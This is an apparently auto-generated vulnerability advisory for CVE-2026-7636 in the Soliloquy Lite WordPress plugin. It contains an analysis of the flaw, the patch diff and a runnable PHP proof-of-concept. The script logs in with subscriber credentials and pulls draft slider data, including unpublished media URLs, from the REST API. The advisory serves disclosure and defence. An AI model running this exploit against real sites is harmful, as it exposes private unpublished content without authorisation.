Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 21, 2026

CVE-2026-7636: Slider by Soliloquy <= 2.8.1 – Authenticated (Subscriber+) Information Disclosure via REST API Endpoint (soliloquy-lite)

CVE ID CVE-2026-7636
Severity Medium (CVSS 4.3)
CWE 200
Vulnerable Version 2.8.1
Patched Version 2.8.2
Disclosed May 20, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-7636: The Slider by Soliloquy plugin versions 2.8.1 and below contain an information disclosure vulnerability in the REST API endpoint. An authenticated attacker with subscriber-level access or higher can extract draft slider metadata including unpublished media URLs, captions, and slider configuration authored by administrators or editors. The CVSS score is 4.3 (Medium).

The root cause lies in the custom capability mapping defined in `soliloquy-lite/includes/global/posttype.php` and the REST API response handling in the `prepare_meta` method of the same file. The plugin registers a custom post type `soliloquy` with `show_in_rest` set to true (line 93). It defines a custom `map_meta_cap` filter (line 102 in the diff context) that overrides WordPress’s default meta capability mapping. The vulnerable `map_meta_cap` function (lines 178-190) only checked for ‘private’ post status and granted ‘read’ capability for all other statuses, including ‘draft’ and ‘pending’. This allowed any authenticated user with the ‘read’ capability (which all subscribers have) to read draft sliders. The `prepare_meta` function (lines 119-131) did not enforce any additional access control checks before returning `_sol_slider_data` post meta, which contains the full slider configuration including media attachments.

Exploitation is straightforward. An attacker authenticates to the WordPress site with subscriber-level credentials. They then send a GET request to `https://target.com/wp-json/wp/v2/soliloquy` with a query parameter `per_page=100` and `status=draft`. The REST API will return all draft soliloquy posts along with their metadata, including `slider_data` which contains image URLs (including unpublished media), captions, and configuration options. The `map_meta_cap` callback returns `[‘read’]` for any draft post, allowing the REST controller to authorize the request.

The patch fixes this vulnerability by modifying the `map_meta_cap` function (lines 178-190 in the patched version) to implement proper access control for non-public post statuses. The patched version checks if the post status is ‘publish’ (granting ‘read’), ‘private’ (granting ‘read_private_posts’), or any other non-public status like ‘draft’ or ‘pending’. For non-public statuses, it now requires ‘edit_posts’ if the current user is the author, or ‘edit_others_posts’ otherwise. Additionally, the `prepare_meta` function adds a belt-and-suspenders check (lines 122-124 in the diff) that verifies the post status is ‘publish’ or the current user has ‘read_post’ capability before returning slider data.

If exploited, this vulnerability allows an attacker with subscriber-level access to read the metadata of any draft slider in the system. This includes the URLs of unpublished media attachments (which may contain sensitive information in the file names or paths), captions, slider configuration settings, and any custom fields stored in `_sol_slider_data`. While this does not grant administrative control, it leaks information that could be used for further attacks or expose private content before it is published.

Information from the draft slider configuration could reveal internal URLs, development or staging server references, or content that was not meant to be public. The vulnerability affects all authenticated users, including subscribers who typically have very limited access. Organizations with many subscribers (such as membership sites, educational institutions, or multi-author blogs) face the highest risk.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/soliloquy-lite/blocks/soliloquy/index.asset.php
+++ b/soliloquy-lite/blocks/soliloquy/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => 'b4fedc7556e7f230797d');
+<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '3cc29643e4bde5ab67e2');
--- a/soliloquy-lite/includes/admin/addons.php
+++ b/soliloquy-lite/includes/admin/addons.php
@@ -105,6 +105,10 @@
 	 */
 	public function enqueue_admin_styles() {

+		// Enqueue jquery-confirm CSS for upgrade modal.
+		wp_register_style( $this->base->plugin_slug . '-jquery-confirm', plugins_url( 'assets/lib/jquery.confirm/jquery-confirm.min.css', $this->base->file ), [], $this->base->version );
+		wp_enqueue_style( $this->base->plugin_slug . '-jquery-confirm' );
+
 		wp_register_style( $this->base->plugin_slug . '-addons-style', plugins_url( 'assets/css/addons.css', $this->base->file ), [], $this->base->version );
 		wp_enqueue_style( $this->base->plugin_slug . '-addons-style' );

@@ -125,26 +129,30 @@
 		wp_register_script( $this->base->plugin_slug . '-chosen', plugins_url( 'assets/js/min/chosen.jquery-min.js', $this->base->file ), [], $this->base->version, true );
 		wp_enqueue_script( $this->base->plugin_slug . '-chosen' );

-		wp_register_script( $this->base->plugin_slug . '-addons-script', plugins_url( 'assets/js/addons.js', $this->base->file ), [ 'jquery', 'jquery-ui-tabs' ], $this->base->version, true );
+		// Register jquery-confirm JS for upgrade modal; it will be enqueued
+		// automatically as a dependency of the addons script.
+		wp_register_script( $this->base->plugin_slug . '-jquery-confirm', plugins_url( 'assets/lib/jquery.confirm/jquery-confirm.min.js', $this->base->file ), [ 'jquery' ], $this->base->version, true );
+
+		wp_register_script( $this->base->plugin_slug . '-addons-script', plugins_url( 'assets/js/addons.js', $this->base->file ), [ 'jquery', 'jquery-ui-tabs', $this->base->plugin_slug . '-jquery-confirm' ], $this->base->version, true );
 		wp_enqueue_script( $this->base->plugin_slug . '-addons-script' );
 		wp_localize_script(
 			$this->base->plugin_slug . '-addons-script',
 			'soliloquy_addons',
 			[
-				'active'           => __( 'Active', 'soliloquy' ),
-				'activate'         => __( 'Activate', 'soliloquy' ),
-				'activate_nonce'   => wp_create_nonce( 'soliloquy-activate' ),
-				'activating'       => __( 'Activating...', 'soliloquy' ),
-				'ajax'             => admin_url( 'admin-ajax.php' ),
-				'deactivate'       => __( 'Deactivate', 'soliloquy' ),
-				'deactivate_nonce' => wp_create_nonce( 'soliloquy-deactivate' ),
-				'deactivating'     => __( 'Deactivating...', 'soliloquy' ),
-				'inactive'         => __( 'Inactive', 'soliloquy' ),
-				'install'          => __( 'Install Addon', 'soliloquy' ),
-				'install_nonce'    => wp_create_nonce( 'soliloquy-install' ),
-				'installing'       => __( 'Installing...', 'soliloquy' ),
-				'proceed'          => __( 'Proceed', 'soliloquy' ),
-				'redirect'         => esc_url(
+				'active'              => esc_html__( 'Active', 'soliloquy' ),
+				'activate'            => esc_html__( 'Activate', 'soliloquy' ),
+				'activate_nonce'      => wp_create_nonce( 'soliloquy-activate' ),
+				'activating'          => esc_html__( 'Activating...', 'soliloquy' ),
+				'ajax'                => admin_url( 'admin-ajax.php' ),
+				'deactivate'          => esc_html__( 'Deactivate', 'soliloquy' ),
+				'deactivate_nonce'    => wp_create_nonce( 'soliloquy-deactivate' ),
+				'deactivating'        => esc_html__( 'Deactivating...', 'soliloquy' ),
+				'inactive'            => esc_html__( 'Inactive', 'soliloquy' ),
+				'install'             => esc_html__( 'Install Addon', 'soliloquy' ),
+				'install_nonce'       => wp_create_nonce( 'soliloquy-install' ),
+				'installing'          => esc_html__( 'Installing...', 'soliloquy' ),
+				'proceed'             => esc_html__( 'Proceed', 'soliloquy' ),
+				'redirect'            => esc_url(
 					add_query_arg(
 						[
 							'post_type'          => 'soliloquy',
@@ -153,7 +161,22 @@
 						admin_url( 'edit.php' )
 					)
 				),
-				'upgrade_nonce'    => wp_create_nonce( 'soliloquy-upgrade' ),
+				'upgrade_nonce'       => wp_create_nonce( 'soliloquy-upgrade' ),
+				'thanks_for_interest' => esc_html__( 'Thanks for your interest in Soliloquy Pro!', 'soliloquy' ),
+				'upgrade_modal'       => sprintf(
+					'<p>%s <a href="https://soliloquywp.com/support/" target="_blank" rel="noopener noreferrer"><strong>%s</strong></a></p><p>%s <strong>%s</strong> %s <strong>%s</strong>. %s</p><p>%s <a href="https://soliloquywp.com/docs/" target="_blank" rel="noopener noreferrer"><strong>%s</strong></a> %s</p>',
+					esc_html__( 'If you have any questions or issues just', 'soliloquy' ),
+					esc_html__( 'let us know', 'soliloquy' ),
+					esc_html__( 'After purchasing a license, just', 'soliloquy' ),
+					esc_html__( 'enter your license key', 'soliloquy' ),
+					esc_html__( 'on the', 'soliloquy' ),
+					esc_html__( 'Soliloquy Settings page', 'soliloquy' ),
+					esc_html__( "This will let your site automatically upgrade to Soliloquy Pro! (Don't worry, all your sliders and settings will be preserved.)", 'soliloquy' ),
+					esc_html__( 'Check out', 'soliloquy' ),
+					esc_html__( 'our documentation', 'soliloquy' ),
+					esc_html__( 'for step-by-step instructions.', 'soliloquy' )
+				),
+				'ok'                  => esc_html__( 'OK', 'soliloquy' ),
 			]
 		);

@@ -203,6 +226,10 @@
 					if ( is_ssl() ) {
 						$addon->image = str_replace( 'http://', 'https://', $addon->image );
 					}
+
+					// Get the minimum required license level from the plans array (first plan is the minimum).
+					$min_license = ! empty( $addon->plans ) && is_array( $addon->plans ) && ! empty( $addon->plans[0] ) ? $addon->plans[0] : 'Pro';
+					$badge_label = $min_license;
 					?>

 				<div class="soliloquy-addon <?php echo sanitize_html_class( $last ); ?>">
@@ -218,12 +245,8 @@
 						</div>

 						<div class="soliloquy-addon-footer">
-
-							<div class="soliloquy-addon-unlock soliloquy-addon-message">
-
-								<a  href="<?php echo esc_url( $this->common->get_upgrade_link() ); ?>" target="_blank" class="button button-soliloquy soliloquy-addon-action-button soliloquy-unlock-addon" rel="<?php echo esc_attr( $addon->title ); ?>"><?php esc_html_e( 'Upgrade Now', 'soliloquy' ); ?></a>
-
-							</div>
+							<span class="soliloquy-badge soliloquy-badge-lg soliloquy-badge-rounded" aria-label="<?php esc_attr_e( 'Required plan:', 'soliloquy' ); ?> <?php echo esc_attr( $badge_label ); ?>"><?php echo esc_html( $badge_label ); ?></span>
+							<a href="<?php echo esc_url( $this->common->get_upgrade_link() ); ?>" target="_blank" rel="noopener noreferrer" class="button button-soliloquy soliloquy-addon-action-button soliloquy-unlock-addon soliloquy-upgrade-modal"><?php esc_html_e( 'Upgrade Now', 'soliloquy' ); ?></a>
 						</div>
 					</div>
 					<?php
@@ -232,6 +255,9 @@
 			endif
 			?>

+			</div>
+
+			</div>

 		</div>

@@ -309,7 +335,7 @@
 		];

 		// Perform the query and retrieve the response.
-		$response      = wp_remote_post( 'http://soliloquywp.com/', $post );
+		$response      = wp_remote_post( 'https://soliloquywp.com/', $post );
 		$response_code = wp_remote_retrieve_response_code( $response );
 		$response_body = wp_remote_retrieve_body( $response );

--- a/soliloquy-lite/includes/admin/common.php
+++ b/soliloquy-lite/includes/admin/common.php
@@ -194,7 +194,7 @@
 			esc_html__( 'Upgrade to Pro', 'soliloquy' ),
 			esc_html__( 'Upgrade to Pro', 'soliloquy' ),
 			apply_filters( 'soliloquy_gallery_menu_cap', 'manage_options' ),
-			esc_url( $this->get_upgrade_link( 'http://soliloquywp.com/lite/', 'adminsidebar', 'unlockprosidebar' ) )
+			esc_url( $this->get_upgrade_link( 'https://soliloquywp.com/lite/', 'adminsidebar', 'unlockprosidebar' ) )
 		);

 		if ( ! current_user_can( 'manage_options' ) ) {
@@ -205,7 +205,7 @@
 			array_filter(
 				$submenu['edit.php?post_type=soliloquy'],
 				static function ( $item ) {
-					return strpos( $item[2], 'http://soliloquywp.com/lite/' ) !== false;
+					return strpos( $item[2], 'https://soliloquywp.com/lite/' ) !== false;
 				}
 			)
 		);
--- a/soliloquy-lite/includes/admin/metaboxes.php
+++ b/soliloquy-lite/includes/admin/metaboxes.php
@@ -709,7 +709,7 @@
 				<div>
 				<img class="soliloquy-item-img" src="<?php echo esc_url( plugins_url( 'assets/images/logo-color.png', $this->base->file ) ); ?>" />
 				<h3><?php esc_html_e( 'Create your slider by adding your media files above.', 'soliloquy' ); ?></h3>
-				<p class="soliloquy-help-text"><?php esc_html_e( 'Need some help?', 'soliloquy' ); ?> <a href="http://soliloquywp.com/docs/creating-your-first-slider/" target="_blank"><?php esc_html_e( 'Watch a video how to add media and create a slider', 'soliloquy' ); ?></a></p>
+				<p class="soliloquy-help-text"><?php esc_html_e( 'Need some help?', 'soliloquy' ); ?> <a href="https://soliloquywp.com/docs/creating-your-first-slider/" target="_blank"><?php esc_html_e( 'Watch a video how to add media and create a slider', 'soliloquy' ); ?></a></p>
 				</div>
 			</div>

@@ -1130,7 +1130,7 @@

 				<p class="soliloquy-intro"><?php esc_attr_e( 'Want to add Thumbnail Navigation?', 'soliloquy' ); ?></p>
 				<p><?php esc_html_e( 'By upgrading to Soliloquy Pro, you can add thumbnail images as navigation for your WordPress slider. ', 'soliloquy' ); ?>
-					<a target="_blank" href="<?php echo esc_url( 'http://soliloquywp.com/addons/thumbnails/' ); ?>"><?php esc_attr_e( '(See Demo)', 'soliloquy' ); ?></a>
+					<a target="_blank" href="<?php echo esc_url( 'https://soliloquywp.com/addons/thumbnails/' ); ?>"><?php esc_attr_e( '(See Demo)', 'soliloquy' ); ?></a>
 				</p>
 				<a href="<?php echo esc_url( $this->common->get_upgrade_link() ); ?>" target="_blank" class="button button-soliloquy"><?php esc_attr_e( 'Click here to Upgrade', 'soliloquy' ); ?></a>

--- a/soliloquy-lite/includes/global/posttype.php
+++ b/soliloquy-lite/includes/global/posttype.php
@@ -90,9 +90,7 @@
 				'show_in_rest'        => true,
 				'rest_base'           => 'soliloquy',
 				'capability_type'     => 'post',
-				'capabilities'        => [
-					'read_post' => 'read', // Allow any logged-in user to read (filtered by map_meta_cap).
-				],
+				'map_meta_cap'        => true,
 				'menu_position'       => apply_filters( 'soliloquy_post_type_menu_position', 248 ),
 				'menu_icon'           => plugins_url( 'assets/css/images/menu-icon@2x.png', $this->base->file ),
 				'supports'            => [ 'title', 'author' ],
@@ -119,6 +117,12 @@
 	 */
 	public function prepare_meta( $data, $post, $context ) {

+		// Belt-and-suspenders gate: only expose slider_data when the post is published or the current user can read it.
+		// REST controller already enforces this via map_meta_cap; this guards against future regressions in cap mapping.
+		if ( 'publish' !== $post->post_status && ! current_user_can( 'read_post', $post->ID ) ) {
+			return $data;
+		}
+
 		$slider_data = get_post_meta( $post->ID, '_sol_slider_data', true );

 		if ( $slider_data ) {
@@ -174,7 +178,14 @@
 		}

 		if ( 'read_post' === $cap ) {
-			$caps = ( 'private' === $post->post_status ) ? [ 'read_private_posts' ] : [ 'read' ];
+			if ( 'private' === $post->post_status ) {
+				$caps = [ 'read_private_posts' ];
+			} elseif ( 'publish' === $post->post_status ) {
+				$caps = [ 'read' ];
+			} else {
+				// Non-public statuses (draft, pending, future, auto-draft, trash, inherit, etc.) require edit caps.
+				$caps = ( $user_id === $post_author ) ? [ 'edit_posts' ] : [ 'edit_others_posts' ];
+			}
 		}

 		return $caps;
--- a/soliloquy-lite/soliloquy-lite.php
+++ b/soliloquy-lite/soliloquy-lite.php
@@ -5,7 +5,7 @@
  * Description: Soliloquy is the best responsive WordPress slider plugin. This is the lite version.
  * Author:      Soliloquy Team
  * Author URI:  https://soliloquywp.com
- * Version:     2.8.1
+ * Version:     2.8.2
  * Text Domain: soliloquy
  * Domain Path: languages
  *
@@ -58,7 +58,7 @@
 	 *
 	 * @var string
 	 */
-	public $version = '2.8.1';
+	public $version = '2.8.2';

 	/**
 	 * The name of the plugin.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7636 - Slider by Soliloquy <= 2.8.1 - Authenticated (Subscriber+) Information Disclosure via REST API Endpoint

// This script demonstrates how an authenticated user with subscriber privileges
// extracts draft slider metadata including unpublished media URLs and slider configuration.

// Configuration variables - SET THESE BEFORE RUNNING
$target_url = 'https://your-wordpress-site.com'; // Replace with target URL (no trailing slash)
$subscriber_username = 'subscriber_user';         // Replace with subscriber-level username
$subscriber_password = 'subscriber_password';     // Replace with subscriber's password

// Step 1: Authenticate the subscriber and get a nonce / cookie
$auth_url = $target_url . '/wp-login.php';
$auth_data = array(
    'log' => $subscriber_username,
    'pwd' => $subscriber_password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $auth_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($auth_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/soliloquy_cookie.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Atomic Edge PoC');

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code !== 200) {
    echo "[!] Authentication failed or login page not accessible. HTTP code: $http_coden";
    exit(1);
}
echo "[+] Authentication successful (HTTP $http_code)n";

// Step 2: Request the Soliloquy REST API endpoint to fetch draft sliders
$rest_url = $target_url . '/wp-json/wp/v2/soliloquy?per_page=100&status=draft';
echo "[+] Requesting: $rest_urln";

curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPGET, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/soliloquy_cookie.txt');
curl_setopt($ch, CURLOPT_HEADER, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code !== 200) {
    echo "[!] REST API request failed. HTTP code: $http_coden";
    echo "[-] Response: " . substr($response, 0, 500) . "n";
    exit(1);
}

// Step 3: Parse and display the exposed draft slider data
$sliders = json_decode($response, true);

if (empty($sliders)) {
    echo "[!] No sliders returned. The site may be patched or has no draft sliders.n";
    exit(0);
}

echo "[+] Successfully retrieved " . count($sliders) . " draft sliders:n";
echo str_repeat('-', 80) . "n";

foreach ($sliders as $index => $slider) {
    echo "Slider " . ($index + 1) . ":n";
    echo "  ID: " . (isset($slider['id']) ? $slider['id'] : 'N/A') . "n";
    echo "  Title: " . (isset($slider['title']['rendered']) ? $slider['title']['rendered'] : 'N/A') . "n";
    echo "  Status: " . (isset($slider['status']) ? $slider['status'] : 'N/A') . "n";
    echo "  Author: " . (isset($slider['author']) ? $slider['author'] : 'N/A') . "n";
    
    // Extract the slider_data which contains media URLs and configuration
    if (isset($slider['slider_data'])) {
        $slider_data = $slider['slider_data'];
        echo "  Slider data (sensitive configuration):n";
        // Display a truncated view of the slider_data for analysis
        $data_string = json_encode($slider_data, JSON_PRETTY_PRINT);
        if (strlen($data_string) > 2000) {
            echo substr($data_string, 0, 2000) . "n  ... [truncated]n";
        } else {
            echo $data_string . "n";
        }
    }
    echo str_repeat('-', 80) . "n";
}

// Step 4: Optionally, extract media URLs from slider data
foreach ($sliders as $slider) {
    if (isset($slider['slider_data']['slider'])) {
        foreach ($slider['slider_data']['slider'] as $slide_id => $slide) {
            if (isset($slide['src'])) {
                echo "[+] Unpublished media URL found: " . $slide['src'] . "n";
            }
            if (isset($slide['caption'])) {
                echo "[+] Caption: " . $slide['caption'] . "n";
            }
        }
    }
}

curl_close($ch);
echo "n[+] Exploitation complete.n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School